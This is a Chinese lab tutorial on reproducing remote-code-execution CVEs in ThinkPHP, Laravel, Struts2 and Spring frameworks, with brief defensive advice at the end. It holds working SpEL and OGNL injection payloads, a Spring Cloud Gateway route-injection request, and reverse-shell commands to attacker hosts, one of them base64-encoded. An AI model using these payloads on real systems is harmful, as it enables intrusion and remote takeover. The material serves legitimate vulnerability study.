框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现
字数 2206 2025-08-10 08:54:01
框架安全漏洞复现教学文档
1. PHP框架安全漏洞
1.1 ThinkPHP漏洞
1.1.1 ThinkPHP-3.X RCE
漏洞描述:
ThinkPHP 3.X版本存在远程代码执行漏洞,攻击者可通过特定参数构造恶意请求执行任意代码。
复现步骤:
- 开启vulfocus靶场环境
- 访问目标URL
- 使用以下payload进行命令执行:
http://target-ip:port/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_10_26.log - 获取shell:
- 找到路径后直接getshell
- 使用蚁剑连接
日志泄露:
http://target-ip:port/Application/Runtime/Logs/Admin/23_10_26.log
1.1.2 ThinkPHP-5.X RCE
漏洞描述:
ThinkPHP 5.X版本由于框架错误处理控制器名称,导致远程代码执行漏洞。
复现步骤:
- 开启vulhub靶场环境
- 访问目标URL
- 使用工具检测(如GitHub上的相关工具)
- 输入漏洞编号进行利用
- 执行命令或获取shell
- 使用蚁剑连接
特征识别:
- "十年磨一剑"是ThinkPHP的特征之一
- 微笑的笑脸图标
1.2 Laravel漏洞
CVE-2021-3129 RCE
漏洞描述:
Laravel开启Debug模式时,Ignition组件对文件操作函数的不安全使用导致Phar反序列化漏洞,最终造成远程代码执行。
复现步骤:
- 开启vulfocus靶场环境
- 访问目标URL
- 从GitHub搜索CVE-2021-3129获取EXP
- 执行EXP:
python laravel-CVE-2021-3129-EXP.py http://target-ip:port - 获取shell后使用哥斯拉连接
2. JavaWeb框架安全漏洞
2.1 Struts2漏洞
2.1.1 S2-009远程执行代码漏洞
漏洞描述:
Struts2参数处理机制缺陷导致远程代码执行。
复现步骤:
- 开启vulhub靶场环境
- 访问目标URL
- 使用工具检测(如GitHub上的相关工具)
- 一键利用执行命令
Struts2特征识别:
- URL上有.action或.do后缀
- 追加actionErrors参数看错误回显
- 默认存在/struts/webconsole.html文件
- 抓包看Content-Type字段特征
2.1.2 CVE-2017-5638 (Struts2-045)
漏洞描述:
Struts2 Jakarta Multipart parser存在缺陷导致远程代码执行。
复现步骤:
- 开启靶场环境
- 访问目标URL
- 使用工具或EXP执行命令
2.1.3 CVE-2020-17530
漏洞描述:
Struts2 OGNL表达式注入导致代码执行。
复现步骤:
- 开启vulfocus靶场环境
- 访问目标URL
- 使用EXP:
python struts2-061-poc.py http://target-ip:port "执行的命令" - 反弹shell:
python2 S2-061-shell.py http://target-ip:port
2.1.4 CVE-2021-31805
漏洞描述:
Apache Struts 2.0.0-2.5.29版本存在远程代码执行漏洞。
复现步骤:
- 开启vulfocus靶场环境
- 从GitHub获取s2-062EXP
- 执行EXP
2.2 Spring框架漏洞
2.2.1 CVE-2018-1273 (Spring Data Commons)
漏洞描述:
Spring Data Commons存在SpEL表达式注入漏洞,可执行任意命令。
复现步骤:
- 开启vulhub靶场环境
- 访问目标URL(特征:小绿叶)
- 注册用户时抓包
- 修改数据包:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword= - 反弹shell(需URL编码):
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
2.2.2 CVE-2017-4971 (Spring WebFlow)
漏洞描述:
Spring WebFlow 2.4.x版本数据绑定时的field控制导致SpEL表达式注入。
复现步骤:
- 开启vulhub靶场环境
- 访问http://target-ip:8080/login并使用给定账号登录
- 访问酒店预订页面
- 点击"Book Hotel"并填写信息
- 抓包添加反弹shell payload(需URL编码):
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/attacker-ip/port 0>&1")).start()=vulhub
2.2.3 CVE-2022-22963 (Spring Cloud Function)
漏洞描述:
Spring Cloud Function SpEL表达式注入导致远程代码执行。
复现步骤:
- 开启vulhub靶场环境
- 访问目标URL
- 抓包添加恶意头:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("执行的命令") - 反弹shell(需URL编码)
2.2.4 CVE-2022-22947 (Spring Cloud Gateway)
漏洞描述:
Spring Cloud Gateway Actuator API SpEL表达式注入导致远程代码执行。
复现步骤:
- 开启vulhub靶场环境
- 访问目标URL
- 发送POST请求添加恶意路由:
POST /actuator/gateway/routes/hacktest { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}", "uri": "http://example.com" } }] } - 刷新网关执行表达式:
POST /actuator/gateway/refresh - 查看执行结果:
GET /actuator/gateway/routes/hacktest - 删除恶意路由:
DELETE /actuator/gateway/routes/hacktest - 再次刷新网关
工具利用:
使用SpringBootExploit工具直接检测和利用
3. 通用漏洞利用技巧
-
框架识别:
- 浏览器插件识别
- 数据包信息分析
- 默认文件/路径探测
- 特征字符串识别
-
工具使用:
- GitHub搜索漏洞编号获取EXP
- 使用成熟工具一键检测和利用
- 注意工具兼容性问题
-
反弹shell技巧:
- 命令需进行base64编码
- 注意URL编码要求
- 根据Content-Type决定编码方式
-
漏洞验证:
- 创建测试文件(如/tmp/success)
- 执行简单命令(如id、whoami)
- 检查环境变量和进程
4. 防御建议
- 及时升级框架到最新版本
- 关闭不必要的调试模式
- 限制Actuator等管理端点的访问
- 使用WAF防护常见攻击
- 定期进行安全审计和漏洞扫描